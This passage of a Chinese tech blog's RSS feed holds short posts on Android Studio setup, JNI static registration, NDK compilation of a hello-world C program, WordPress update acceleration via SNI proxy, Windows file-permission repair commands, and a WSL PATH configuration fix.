&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;utf-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;androidx.coordinatorlayout.widget.CoordinatorLayout&lt;/span&gt; &lt;span class="na"&gt;xmlns:android=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://schemas.android.com/apk/res/android&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;xmlns:app=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://schemas.android.com/apk/res-auto&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;xmlns:tools=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://schemas.android.com/tools&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;android:layout_width=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;match_parent&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;android:layout_height=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;match_parent&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;tools:context=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;.MainActivity&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;TextView&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;android:id=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;@+id/TextViewDebug&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;android:layout_width=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;match_parent&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;android:layout_height=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;match_parent&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;android:gravity=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;center&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;android:text=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;TextView&amp;#34;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/androidx.coordinatorlayout.widget.CoordinatorLayout&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587733635504.png" alt="file"&gt;&lt;/p&gt;
&lt;h2 id="1-jni普通字段静态字段互操作"&gt;1. JNI普通字段，静态字段互操作.&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;目标: 获取普通字段的值，设置普通字段的值，获取静态字段的值，设置静态字段的值。&lt;/p&gt;</description></item><item><title>Android Studio安装记录</title><link>https://luodaoyi.com/posts/android-studio%E5%AE%89%E8%A3%85%E8%AE%B0%E5%BD%95-androidstudio%E5%AE%89%E8%A3%85%E8%AE%B0%E5%BD%95/</link><pubDate>Fri, 24 Apr 2020 09:37:45 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android-studio%E5%AE%89%E8%A3%85%E8%AE%B0%E5%BD%95-androidstudio%E5%AE%89%E8%A3%85%E8%AE%B0%E5%BD%95/</guid><description>&lt;h1 id="android-studio安装记录"&gt;Android Studio安装记录&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;发现各个大佬都在用AS 我也装一个用一下&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="1-下载"&gt;1. 下载&lt;/h2&gt;
&lt;p&gt;下载地址:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://developer.android.com/studio" title="https://developer.android.com/studio"&gt;https://developer.android.com/studio&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719764838.png" alt="file"&gt;&lt;/p&gt;
&lt;h2 id="2-直接一路next"&gt;2. 直接一路Next&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719779809.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719787503.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719796876.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719804463.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719813602.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;等进度条走完就装好了&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719841347.png" alt="file"&gt;&lt;/p&gt;
&lt;h2 id="3-配置"&gt;3. 配置&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719866167.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;这里要导入配置 毛线的配置 直接点ok&lt;/p&gt;
&lt;p&gt;开始配置&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719907308.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;这里选默认,因为简单 自定义又不会&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719919751.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;我喜欢暗黑色&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587719940647.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;选择finish 等安装完毕&lt;/p&gt;</description></item><item><title>Android逆向 JNI静态注册</title><link>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-jni%E9%9D%99%E6%80%81%E6%B3%A8%E5%86%8C-android%E9%80%86%E5%90%91jni%E9%9D%99%E6%80%81%E6%B3%A8%E5%86%8C/</link><pubDate>Fri, 24 Apr 2020 09:06:05 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-jni%E9%9D%99%E6%80%81%E6%B3%A8%E5%86%8C-android%E9%80%86%E5%90%91jni%E9%9D%99%E6%80%81%E6%B3%A8%E5%86%8C/</guid><description>&lt;h1 id="android逆向-jni静态注册"&gt;Android逆向 JNI静态注册&lt;/h1&gt;
&lt;h2 id="1-新建空白android项目"&gt;1. 新建空白Android项目&lt;/h2&gt;
&lt;p&gt;打开 ADT 新建Android空白项目 全部默认下一步&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587717449509.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587717471030.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587717478228.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587717487825.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587717496972.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587717518155.png" alt="file"&gt;&lt;/p&gt;
&lt;h2 id="2-新增jni代码"&gt;2. 新增jni代码&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;使用jni写的需要用native修饰&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587717844865.png" alt="file"&gt;&lt;/p&gt;
&lt;h2 id="3-生成头文件"&gt;3. 生成头文件&lt;/h2&gt;
&lt;p&gt;首先在ADT中新建 jni文件夹&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/image-1587718110319.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;右击src文件夹 选择 Properties 查看文件夹路径&lt;br&gt;
这里为 &lt;code&gt;C:\Users\asura\source\repos\Android_JNI\02_JNI_register\Jnidemo\src&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Android逆向 使用NDK编译c语言可执行程序</title><link>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-%E4%BD%BF%E7%94%A8ndk%E7%BC%96%E8%AF%91c%E8%AF%AD%E8%A8%80%E5%8F%AF%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F-android%E9%80%86%E5%90%91%E4%BD%BF%E7%94%A8ndk%E7%BC%96%E8%AF%91c%E8%AF%AD%E8%A8%80%E5%8F%AF%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/</link><pubDate>Fri, 24 Apr 2020 08:31:28 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-%E4%BD%BF%E7%94%A8ndk%E7%BC%96%E8%AF%91c%E8%AF%AD%E8%A8%80%E5%8F%AF%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F-android%E9%80%86%E5%90%91%E4%BD%BF%E7%94%A8ndk%E7%BC%96%E8%AF%91c%E8%AF%AD%E8%A8%80%E5%8F%AF%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/</guid><description>&lt;h1 id="使用ndk构建c语言可执行程序"&gt;使用ndk构建c语言可执行程序&lt;/h1&gt;
&lt;h2 id="1-新建代码文件"&gt;1. 新建代码文件&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;hello.c&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;hello android JNI!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="2-新建android编译make文件"&gt;2. 新建android编译make文件&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Android.mk&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCAL_PATH := $(call my-dir) # 获取jni文件路径
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;include $(CLEAR_VARS) # 因为是全局变量 所以要清理设置
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCAL_CFLAGS += -std=c99 #使用c语言c99规范
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCAL_CFLAGS += -pie -fPIE #相当于在源文件中增加宏定义，安卓5.0以上需要添加,否则编译出来无法使用
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCAL_LDFLAGS += -pie -fPIE #相当于在源文件中增加宏定义，安卓5.0以上需要添加,否则编译出来无法使用
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCAL_ARM_MODE := arm # 编译后的指令集
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCAL_MODULE := hello # 编译后的名字 唯一且不可以包含空格 不是so就不会加.so so模块=&amp;gt; libbuild.so
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCAL_SRC_FILES := hello.c # 指定源文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;include $(BUILD_EXECUTABLE) # 指定为构建可执行文件 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # 如果是SO库为: $(shared library) 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # 如果是静态库为: $(static library)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;Application.mk文件&lt;/p&gt;</description></item><item><title>通过SNI Proxy加速国内服务器的WordPress更新</title><link>https://luodaoyi.com/posts/%E9%80%9A%E8%BF%87sni-proxy%E5%8A%A0%E9%80%9F%E5%9B%BD%E5%86%85%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84wordpress%E6%9B%B4%E6%96%B0-%E9%80%9A%E8%BF%87sniproxy%E5%8A%A0%E9%80%9F%E5%9B%BD%E5%86%85%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84wordpress%E6%9B%B4%E6%96%B0/</link><pubDate>Thu, 02 Apr 2020 08:05:47 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E9%80%9A%E8%BF%87sni-proxy%E5%8A%A0%E9%80%9F%E5%9B%BD%E5%86%85%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84wordpress%E6%9B%B4%E6%96%B0-%E9%80%9A%E8%BF%87sniproxy%E5%8A%A0%E9%80%9F%E5%9B%BD%E5%86%85%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84wordpress%E6%9B%B4%E6%96%B0/</guid><description>&lt;p&gt;相信很多在国内服务器搭建WordPress的同学都有过这样的烦恼：更新不成功，后台某些页面打卡非常慢，插件主题没法在线安装等等等等这些问题，而且如果你的服务器又因为某些因素不方便直接搭建$$r之类的软件来给它加速，每次手动下载安装包再上传安装会是一件非常头疼的事。&lt;/p&gt;</description></item><item><title>解决windows 无法访问指定设备、路径或文件。你可能没有适当的权限访问该项目。</title><link>https://luodaoyi.com/posts/%E8%A7%A3%E5%86%B3windows-%E6%97%A0%E6%B3%95%E8%AE%BF%E9%97%AE%E6%8C%87%E5%AE%9A%E8%AE%BE%E5%A4%87%E8%B7%AF%E5%BE%84%E6%88%96%E6%96%87%E4%BB%B6%E4%BD%A0%E5%8F%AF%E8%83%BD%E6%B2%A1%E6%9C%89%E9%80%82%E5%BD%93%E7%9A%84%E6%9D%83%E9%99%90%E8%AE%BF%E9%97%AE%E8%AF%A5%E9%A1%B9%E7%9B%AE-%E8%A7%A3%E5%86%B3windows%E6%97%A0%E6%B3%95%E8%AE%BF%E9%97%AE%E6%8C%87%E5%AE%9A%E8%AE%BE%E5%A4%87%E8%B7%AF%E5%BE%84%E6%88%96%E6%96%87%E4%BB%B6%E4%BD%A0%E5%8F%AF%E8%83%BD%E6%B2%A1%E6%9C%89%E9%80%82%E5%BD%93%E7%9A%84%E6%9D%83%E9%99%90%E8%AE%BF%E9%97%AE%E8%AF%A5%E9%A1%B9%E7%9B%AE/</link><pubDate>Wed, 01 Apr 2020 18:46:14 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%A7%A3%E5%86%B3windows-%E6%97%A0%E6%B3%95%E8%AE%BF%E9%97%AE%E6%8C%87%E5%AE%9A%E8%AE%BE%E5%A4%87%E8%B7%AF%E5%BE%84%E6%88%96%E6%96%87%E4%BB%B6%E4%BD%A0%E5%8F%AF%E8%83%BD%E6%B2%A1%E6%9C%89%E9%80%82%E5%BD%93%E7%9A%84%E6%9D%83%E9%99%90%E8%AE%BF%E9%97%AE%E8%AF%A5%E9%A1%B9%E7%9B%AE-%E8%A7%A3%E5%86%B3windows%E6%97%A0%E6%B3%95%E8%AE%BF%E9%97%AE%E6%8C%87%E5%AE%9A%E8%AE%BE%E5%A4%87%E8%B7%AF%E5%BE%84%E6%88%96%E6%96%87%E4%BB%B6%E4%BD%A0%E5%8F%AF%E8%83%BD%E6%B2%A1%E6%9C%89%E9%80%82%E5%BD%93%E7%9A%84%E6%9D%83%E9%99%90%E8%AE%BF%E9%97%AE%E8%AF%A5%E9%A1%B9%E7%9B%AE/</guid><description>&lt;p&gt;&lt;a href="https://luodaoyi.com/p/%e8%a7%a3%e5%86%b3windows-%e6%97%a0%e6%b3%95%e8%ae%bf%e9%97%ae%e6%8c%87%e5%ae%9a%e8%ae%be%e5%a4%87%e3%80%81%e8%b7%af%e5%be%84%e6%88%96%e6%96%87%e4%bb%b6%e3%80%82%e4%bd%a0%e5%8f%af%e8%83%bd%e6%b2%a1.html/awqr5-l1rbg"&gt;&lt;img src="https://luodaoyi.com/uploads/2020/04/awqr5-l1rbg-300x225.jpg" alt=""&gt;&lt;/a&gt;&lt;br&gt;
文件权限出现了问题&lt;/p&gt;
&lt;p&gt;下面是一些可用的命令行帮助恢复&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 取得目录和内容的所有权 可以将其范围缩小到要更改的特定项，具体取决于有多少项。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;takeown /f C:\Windows\Web /r
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 授予自己完全的控制权 注意 &lt;span class="nv"&gt;%USERDOMAIN%&lt;/span&gt;\&lt;span class="nv"&gt;%USERNAME%&lt;/span&gt; 将自动替换为您的用户-所以这里无需在此替换任何内容
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls C:\Windows\Web /grant &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;%USERDOMAIN%&lt;/span&gt;&lt;span class="s2"&gt;\&lt;/span&gt;&lt;span class="nv"&gt;%USERNAME%&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;:(F) /t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 恢复windows10默认的所有者
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls c:\Windows\Web /setowner &lt;span class="s2"&gt;&amp;#34;NT SERVICE\TrustedInstaller&amp;#34;&lt;/span&gt; /t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 删除授予的权限
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls C:\Windows\Web /remove:g &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;%USERDOMAIN%&lt;/span&gt;&lt;span class="s2"&gt;\&lt;/span&gt;&lt;span class="nv"&gt;%USERNAME%&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;:(F) /t
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;一种替代方法是保存和恢复ACL&lt;/p&gt;</description></item><item><title>解决WSL与windows的PATH环境变量冲突问题</title><link>https://luodaoyi.com/posts/%E8%A7%A3%E5%86%B3wsl%E4%B8%8Ewindows%E7%9A%84path%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%86%B2%E7%AA%81%E9%97%AE%E9%A2%98-%E8%A7%A3%E5%86%B3wsl%E4%B8%8Ewindows%E7%9A%84path%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%86%B2%E7%AA%81%E9%97%AE%E9%A2%98/</link><pubDate>Sat, 21 Mar 2020 04:25:15 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%A7%A3%E5%86%B3wsl%E4%B8%8Ewindows%E7%9A%84path%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%86%B2%E7%AA%81%E9%97%AE%E9%A2%98-%E8%A7%A3%E5%86%B3wsl%E4%B8%8Ewindows%E7%9A%84path%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%86%B2%E7%AA%81%E9%97%AE%E9%A2%98/</guid><description>&lt;blockquote&gt;
&lt;p&gt;如果在windows和wsl中都安装了python, 那么由于wsl的互交互特性, pienv的运行就会不太正常&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以下是禁用互交互的步骤&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;WSL&lt;/code&gt;的终端中输入:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[interop]\nenabled=false\nappendWindowsPath=false&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sudo tee /etc/wsl.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;在&lt;code&gt;Powershell&lt;/code&gt;(以管理员身份运行)中输入: (以重启wsl)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net stop LxssManager
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net start LxssManager
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;如果已知distro名, 可用&lt;code&gt;wsl --terminate &amp;lt;distro名&amp;gt;&lt;/code&gt;终止特定的wsl distro&lt;/p&gt;
